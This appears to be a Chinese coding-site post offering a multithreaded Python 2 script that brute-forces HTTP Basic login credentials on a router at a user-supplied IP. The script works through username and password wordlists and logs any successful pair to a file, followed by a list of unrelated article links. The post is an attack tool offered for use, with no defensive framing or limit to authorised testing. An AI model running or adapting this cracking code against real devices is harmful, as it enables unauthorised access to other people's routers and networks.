python实现多线程暴力破解登陆路由器功能代码分享

作者:junjie 时间:2023-08-28 21:27:01 

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....


#coding:utf-8-
import base64
import urllib2
import Queue
import threading,re,sys
queue = Queue.Queue()
class Rout_thread(threading.Thread):

  def __init__(self,queue,passwd):

    threading.Thread.__init__(self)
    self.queue=queue
    self.passwordlist=passwd
  def run(self):
    self.user=queue.get()
    for self.passwd in self.passwordlist:
      request = urllib2.Request("http://"+target)
      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd)
      request.add_header('Authorization', psw_base64)
      try:
        
        response = urllib2.urlopen(request)
        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd)
        fp3 = open('log.txt','a')
        fp3.write(self.user+'||'+self.passwd+'\r\n')
        fp3.close()
      except urllib2.HTTPError:
        print "[-]password:%s Error!" % (self.passwd)

 

if __name__ == '__main__':
  print '''
    #######################################################
    #                                                     #
    #                Routing brute force tool             #
    #                                                     #
    #                 by:well                             #
    #                                                    #
    #######################################################
'''
  passwordlist = []
  line = 20
  threads = []
  global target
  target = raw_input("input ip:")
  fp =open("user.txt")
  fp2=open("passwd.txt")
  for user in fp.readlines():
    queue.put(user.split('\n')[0])
  for passwd in fp2.readlines():
    passwordlist.append(passwd.split('\n')[0])
    #print passwordlist
      
  fp.close()
  fp2.close()
  for i in range(line):
    a = Rout_thread(queue,passwordlist)
    a.start()
    threads.append(a)
  for j in threads:
    j.join()

标签:python,多线程,破解,路由器
0
投稿

猜你喜欢

  • 详解Python+Pyecharts实现漏斗图的绘制

    2022-07-07 10:22:42
  • 下雪了 javascript实现雪花飞舞

    2024-05-02 16:16:12
  • python 的 openpyxl模块 读取 Excel文件的方法

    2023-02-23 14:41:56
  • mysql性能优化之索引优化

    2024-01-15 13:51:44
  • Python爬虫requests库多种用法实例

    2021-01-10 13:31:56
  • python查看微信好友是否删除自己

    2021-01-31 23:16:32
  • python代码实现五子棋游戏

    2021-04-18 01:20:48
  • Java连接sqlserver2008数据库代码

    2023-07-02 10:22:17
  • Python异步处理返回进度——使用Flask实现进度条

    2023-10-19 23:23:08
  • 怎样修改 MySQL数据库中的密码

    2008-11-27 15:35:00
  • python 实现单一数字取对数与数列取对数

    2023-04-02 01:38:14
  • 详解python中@classmethod和@staticmethod方法

    2022-10-24 11:47:16
  • win7下配置GO语言环境 + eclipse配置GO开发

    2024-02-16 16:02:35
  • 升级到mysql-connector-java8.0.27的注意事项

    2024-01-22 20:52:08
  • go语言 xorm框架 postgresql 的用法及详细注解

    2024-04-25 15:26:45
  • Numpy 三维数组索引与切片的实现

    2021-08-17 22:19:35
  • 详解phpMyAdmin的安装和配置

    2007-06-15 09:56:00
  • 解决PyTorch与CUDA版本不匹配的问题

    2023-12-20 14:41:15
  • python使用cv2库、下载opencv库的方法

    2022-09-05 00:45:09
  • 详解Python做一个名片管理系统

    2021-03-17 05:56:17
  • asp之家 网络编程 m.aspxhome.com